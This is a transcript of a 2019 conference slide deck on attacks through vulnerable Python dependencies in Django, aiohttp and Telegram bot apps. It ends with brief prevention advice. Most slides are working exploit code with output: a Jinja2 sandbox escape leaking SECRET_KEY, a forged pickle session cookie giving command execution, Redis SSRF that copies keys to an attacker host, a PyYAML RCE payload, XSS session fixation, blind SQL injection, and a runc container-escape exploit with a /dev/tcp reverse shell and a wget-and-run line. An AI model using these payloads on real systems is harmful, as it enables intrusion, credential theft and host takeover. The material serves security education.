Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PyconRU 2019. (Un)safe dependencies.

PyconRU 2019. (Un)safe dependencies.

Ivan Tsyganov

June 24, 2019
Tweet

More Decks by Ivan Tsyganov

Other Decks in Programming

Transcript

  1. Tsyganov Ivan
    Positive Technologies
    (Un)safe
    dependencies

    View Slide

  2. View Slide

  3. A9
    Using Components
    with Known
    Vulnerabilities

    View Slide

  4. App1
    Django
    App2
    aiohttp
    App3
    telegram

    View Slide

  5. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Django
    djangorestframework
    Jinja2
    psycopg2-binary
    python 3.6

    View Slide

  6. View Slide

  7. View Slide

  8. View Slide

  9. View Slide

  10. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View Slide

  11. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View Slide

  12. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View Slide

  13. View Slide

  14. View Slide

  15. View Slide

  16. View Slide

  17. View Slide

  18. View Slide

  19. View Slide

  20. View Slide

  21. View Slide

  22. django-rest-framework >= 3.9.1

    View Slide

  23. ...
    APPEND_SLASH = True
    ...
    settings.py
    urlpatterns = [
    ...
    re_path(r'^(.*)/$', universal_view),
    ...
    ]
    urls.py

    View Slide

  24. http: //app.ru //evil.com

    View Slide

  25. http: //app.ru //evil.com
    http: //evil.com

    View Slide

  26. View Slide

  27. django >= 2.0.8
    django >= 1.11.15
    CVE-2018-14574

    View Slide

  28. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View Slide

  29. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View Slide

  30. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View Slide

  31. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )
    {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View Slide

  32. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View Slide

  33. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View Slide

  34. View Slide

  35. CVE-2019-10906
    Jinja2 >= 2.10.1

    View Slide

  36. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View Slide

  37. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View Slide

  38. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View Slide

  39. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View Slide

  40. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View Slide

  41. from django.core import signing
    from django.contrib.sessions.serializers import PickleSerializer
    def decode_sid(SID):
    return signing.loads(
    SID,
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    serializer=PickleSerializer,
    max_age=1209600,
    salt='django.contrib.sessions.backends.signed_cookies',
    )
    decode_sid('gASVMgAAAAAAAAB9lIwEdXVpZJSMJGM3ODgwM ...R2DK7jU')
    {'uuid': 'c78801e9-db4c-4f88-b988-f47a7f3ad172'}

    View Slide

  42. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View Slide

  43. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View Slide

  44. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View Slide

  45. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View Slide

  46. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View Slide

  47. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View Slide

  48. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View Slide

  49. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View Slide

  50. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )
    >>> pprint.pprint(result)
    {'evil': 'root:x:0:0:root:/root:/bin/bash\n'
    'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'
    'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'
    'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'
    'sync:x:4:65534:sync:/bin:/bin/sync\n'
    'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'
    'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'
    'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n'
    'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n'
    'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n'
    'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n'
    'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n'
    'gnats:x:41:41:Gnats Bug-Reporting System '
    '(admin):/var/lib/gnats:/usr/sbin/nologin\n'
    '_apt:x:100:65534 ::/nonexistent:/bin/false',
    'uuid': 'c3b29bac-3ce7-45a5-8680-3bd2a6e51307'}

    View Slide

  51. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Django
    djangorestframework
    Jinja2
    psycopg2-binary
    python 3.6

    View Slide

  52. App2
    aiohttp
    App3
    telegram
    aiohttp-session
    aiohttp-jinja2
    aioredis
    aiopg
    sqlalchemy
    lxml
    PyYAML
    python 3.6
    App1
    Django

    View Slide

  53. View Slide

  54. View Slide

  55. Property="og:image"
    Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" />
    Property="og:title"
    Content="Python Cookbook, 3rd Edition, PDF ... | eBay" />
    Property="og:url"
    Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" />
    Property="og:description"
    Content="If you need help writing programs in Python ... application domains." />

    View Slide

  56. Property="og:image"
    Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" />
    Property="og:title"
    Content="Python Cookbook, 3rd Edition, PDF ... | eBay" />
    Property="og:url"
    Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" />
    Property="og:description"
    Content="If you need help writing programs in Python ... application domains." />
    ...
    property="og:title"
    content="Some $.ajax({url:'http: //evil.com/some_unique_path'}) </<br/>script>Title" /><br/>...<br/>

    View Slide

  57. Some
    <br/>$.ajax({<br/>url:'http: //evil.com/some_unique_path'<br/>})<br/>
    Title

    View Slide

  58. [01/Jan/2010:08:29:26 +0000] "GET /some_unique_path HTTP/1.1" 404
    659 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47
    Some
    <br/>$.ajax({<br/>url:'http: //evil.com/some_unique_path'<br/>})<br/>
    Title

    View Slide

  59. View Slide

  60. View Slide











  61. Very cool item

    ...

    View Slide











  62. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/'<br/>}<br/>})<br/>}<br/>

    View Slide











  63. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/'<br/>}<br/>})<br/>}<br/>

    View Slide











  64. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/';<br/>}<br/>})<br/>}<br/>

    View Slide

  65. View Slide

  66. View Slide

  67. aiohttp-session >= 2.4.0
    CVE-2018-1000519

    View Slide

  68. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View Slide

  69. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View Slide

  70. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View Slide

  71. http: //redis:6379/?q=HTTP/1.1 \r\n
    EVAL "for _,k in ipairs(redis.call('\''KEYS'\'',
    '\''*'\'')) do redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 \r\n

    View Slide

  72. curl --request POST \
    --url http: //target.com/goods \
    --header 'content-type: application/x- www-form-
    urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/
    1.1%0D%0AEVAL "for _,k in
    ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do
    redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'

    View Slide

  73. curl --request POST \
    --url http: //target.com/goods \
    --header 'content-type: application/x- www-form-
    urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/
    1.1%0D%0AEVAL "for _,k in
    ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do
    redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'

    View Slide

  74. 127.0.0.1:6379> KEYS *
    1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a"
    2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03"
    3) "SESSIONID_af90efcc865f4433adcd51625c9120b4"
    4) "SESSIONID_8f07943134724991b6a356f6b75b7030"
    5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55"
    6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e"
    127.0.0.1:6379> GET
    SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a
    "{\"created\": 1559895192, \"session\":
    {\"username\": \"admin\", \"role\": \"admin\"}}"

    View Slide

  75. 127.0.0.1:6379> KEYS *
    1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a"
    2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03"
    3) "SESSIONID_af90efcc865f4433adcd51625c9120b4"
    4) "SESSIONID_8f07943134724991b6a356f6b75b7030"
    5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55"
    6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e"
    127.0.0.1:6379> GET
    SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a
    "{\"created\": 1559895192, \"session\":
    {\"username\": \"user1\", \"role\": \"user\"}}"

    View Slide

  76. curl --request POST \
    --url http: //127.0.0.1/goods \
    --header 'content-type: application/x- www-form-urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/1.1%0D%0ASET
    SESSIONID_ee1eab3a789d4d63a6be31a579c98a55 "{\"created\":
    1559895192, \"session\": {\"username\": \"admin\", \"role\":
    \"admin\"}}"%0D%0AX:%0D%0A'

    View Slide

  77. View Slide

  78. redis >= 3.2.7
    CVE-2016-10517

    View Slide

  79. View Slide

  80. python >= 3.7.3
    python >= 2.7.17
    CVE-2019-9947

    View Slide

  81. View Slide

  82. View Slide

  83. View Slide

  84. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )

    View Slide

  85. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )

    View Slide

  86. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )
    id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name = 'user' limit 1
    )
    then 1 else 0 end
    )

    View Slide

  87. View Slide

  88. id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ '.{8}'
    limit 1
    )
    then 1 else 0 end

    View Slide

  89. id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ '.{8}'
    limit 1
    )
    then 1 else 0 end
    id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ 'passw0rd'
    limit 1
    )
    then 1 else 0 end

    View Slide

  90. View Slide

  91. sqlalchemy >= 1.2.17
    CVE-2019-7548

    View Slide

  92. View Slide

  93. View Slide

  94. items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    img: http: //my_goods.com/item1.png
    - name: Simple item 2
    description: Simple item 2 description
    url: http: //my_goods.com/item2
    img: http: //my_goods.com/item2.png

    View Slide

  95. items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    unknown_field: !!python/object/apply:subprocess.check_output
    args:
    - ['python', '-c', 'from urllib.request import urlopen;
    urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);']
    img: http: //my_goods.com/item1.png

    View Slide

  96. [1/Jan/2010:07:14:37 +0000] "GET /evil.html HTTP/1.1" 200 1126
    "-" "Python-urllib/3.6" "-"
    items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    unknown_field: !!python/object/apply:subprocess.check_output
    args:
    - ['python', '-c', 'from urllib.request import urlopen;
    urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);']
    img: http: //my_goods.com/item1.png

    View Slide

  97. View Slide

  98. View Slide

  99. PyYAML >= 5.1
    CVE-2017-18342

    View Slide

  100. App2
    aiohttp
    App3
    telegram
    aiohttp-session
    aiohttp-jinja2
    aioredis
    aiopg
    sqlalchemy
    lxml
    PyYAML
    python 3.6
    App1
    Django

    View Slide

  101. App3
    telegram
    pyTelegramBotAPI
    flask
    python 2.7.9
    App1
    Django
    App2
    aiohttp

    View Slide

  102. View Slide

  103. View Slide

  104. file: ///etc/

    View Slide

  105. View Slide

  106. View Slide

  107. file: ///code/bot.py

    View Slide

  108. View Slide

  109. View Slide

  110. python >= 3.7.3
    python >= 2.7.17
    CVE-2019-9948

    View Slide

  111. API_TOKEN = ''
    WEBHOOK_HOST = 'target.com'
    WEBHOOK_PORT = 443
    WEBHOOK_LISTEN = '0.0.0.0'
    WEBHOOK_SSL_CERT = './cert.pem'
    WEBHOOK_SSL_PRIV = './privkey.pem'
    WEBHOOK_URL_BASE = "https: //%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT)
    WEBHOOK_URL_PATH = "/secret_bot_hook/"

    View Slide

  112. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View Slide

  113. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View Slide

  114. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View Slide

  115. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View Slide

  116. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View Slide

  117. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View Slide

  118. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View Slide

  119. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View Slide

  120. View Slide

  121. App3
    telegram
    pyTelegramBotAPI
    flask
    python 2.7.9
    App1
    Django
    App2
    aiohttp

    View Slide

  122. App1
    Django
    App2
    aiohttp
    App3
    telegram

    View Slide

  123. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE

    View Slide

  124. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE

    View Slide

  125. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE

    View Slide

  126. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE

    View Slide

  127. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    import os
    import stat
    target_file = '/bin/sh'
    with open(target_file, 'w') as evil:
    evil.write('#!/proc/self/exe')
    os.chmod(target_file, stat.S_IXOTH)
    write_handler = None
    while not write_handler:
    for pid in os.popen('ps -A -o pid'):
    pid = pid.strip()
    if pid == 'PID': continue
    try:
    with open(f'/proc/{pid}/cmdline', 'r') as cmdline:
    if cmdline.read().find('runc') >= 0:
    handler = os.open(f'/proc/{pid}/exe', os.O_PATH)
    handler_path=f'/proc/self/fd/{str(handler)}'
    write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC)
    break
    except Exception:
    continue
    payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n'
    result = os.write(write_handler, payload)
    exploit.py

    View Slide

  128. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    import os
    import stat
    target_file = '/bin/sh'
    with open(target_file, 'w') as evil:
    evil.write('#!/proc/self/exe')
    os.chmod(target_file, stat.S_IXOTH)
    write_handler = None
    while not write_handler:
    for pid in os.popen('ps -A -o pid'):
    pid = pid.strip()
    if pid == 'PID': continue
    try:
    with open(f'/proc/{pid}/cmdline', 'r') as cmdline:
    if cmdline.read().find('runc') >= 0:
    handler = os.open(f'/proc/{pid}/exe', os.O_PATH)
    handler_path=f'/proc/self/fd/{str(handler)}'
    write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC)
    break
    except Exception:
    continue
    payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n'
    result = os.write(write_handler, payload)
    exploit.py

    View Slide

  129. [email protected]:/root# nc -k -l 4444

    View Slide

  130. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    wget http: //evil.com/exploit.py -O exp.py && python exp.py

    View Slide

  131. [email protected]:/root# nc -k -l 4444
    [email protected]:/root#

    View Slide

  132. [email protected]:/root# nc -k -l 4444
    [email protected]:/root# whoami

    View Slide

  133. [email protected]:/root# nc -k -l 4444
    [email protected]:/root# whoami
    whoami
    root
    [email protected]:/root#

    View Slide

  134. [email protected]:/root# nc -k -l 4444
    [email protected]:/root# whoami
    whoami
    root
    [email protected]:/root# cat /etc/passwd

    View Slide

  135. [email protected]:/root# nc -k -l 4444
    [email protected]:/root# whoami
    whoami
    root
    [email protected]:/root# cat /etc/passwd
    cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...

    View Slide

  136. View Slide

  137. docker >= 18.09.2
    CVE-2019-5736

    View Slide

  138. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    runc allows attackers to overwrite the host runc binary

    View Slide

  139. How to prevent
    ✤ Remove unused dependencies and documentation

    View Slide

  140. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources

    View Slide

  141. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    distrib
    djanga
    easyinstall
    junkeldat
    libpeshka
    mumpy
    mybiubiubiu
    nmap-python
    openvc
    python-ftp
    pythonkafka
    python-mongo
    python-mysql
    python-mysqldb
    python-openssl
    python-sqlite
    smb
    virtualnv

    View Slide

  142. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov

    View Slide

  143. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall

    View Slide

  144. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall
    XSS
    CSRF
    Open redirect
    Error leakage
    SQL-injection
    XML-inject

    View Slide

  145. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall
    ✤ Configure used software

    View Slide

  146. UPDATE
    KEEP
    CALM
    AND
    DEPENDECIES

    View Slide

  147. Thank you!

    View Slide

  148. Thank you!
    @pt_pycon_bot

    View Slide